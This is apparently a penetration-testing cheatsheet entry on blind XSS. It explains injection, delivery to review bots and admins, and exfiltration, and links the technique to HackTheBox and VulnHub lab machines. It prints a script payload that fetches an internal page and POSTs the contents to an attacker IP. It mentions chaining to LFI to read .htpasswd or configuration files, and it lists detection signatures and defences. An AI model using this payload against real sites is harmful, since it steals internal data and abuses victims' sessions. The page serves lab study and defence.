Blind XSS (Bot & Exfiltration)
Full command arsenal in the cheatsheetAn XSS becomes far more powerful when there's an internal user who opens what we send: an administrator, a ticket reviewer, or a headless bot that renders the content. It's the blind-XSS pattern: we don't see the result in our browser, but someone else runs our JavaScript in their context, with their session and their network.
The typical flow has three pieces:
- Injection. A field rendered without sanitisation (a Markdown viewer, a comment, a name). A classic is
<img src=x onerror=...>or a direct<script>. - Delivery. A channel that gets the content to the victim: a "share" link, a Contact Us form, a ticket. If sending it triggers a request to our server (a
fetchto a controlled IP), we confirm someone opens it (often given away by aHeadlessChromeUser-Agent). - Exfiltration. Since the JS runs in the victim's origin, it can read internal resources we can't reach (same origin, their session) and send them to us:
<script>
fetch("http://victim.htb/internal-resource")
.then(r => r.text())
.then(d => fetch("http://10.10.10.10:4444/", { method:"POST", body:d }));
</script>From there you chain it: read a page only reachable from inside, discover a vulnerable parameter and, for example, pivot to an LFI to pull a .htpasswd or a configuration file. The XSS is the borrowed browser; the real damage comes from what that browser can touch.
How to detect it. The signature has two sides. On input, stored content with <script>, onerror=, fetch( or document.cookie in fields that shouldn't carry HTML (content scan/WAF). On output, the review bot (User-Agent HeadlessChrome) making an outbound request to an external IP shortly after rendering user content, often preceded by a read of an internal resource that bot can reach: that egress from the bot host is the most reliable indicator. CSP violation reports also give it away.
Defence. Sanitise and encode every input that gets rendered (HTML escaping, a strict CSP), HttpOnly on cookies, and isolate review bots so they don't have privileged access to internal resources.
Machines where it's used
- AlertHackTheBox
- HeadlessHackTheBox
- MyExpense 1VulnHub
- Symfonos 6VulnHub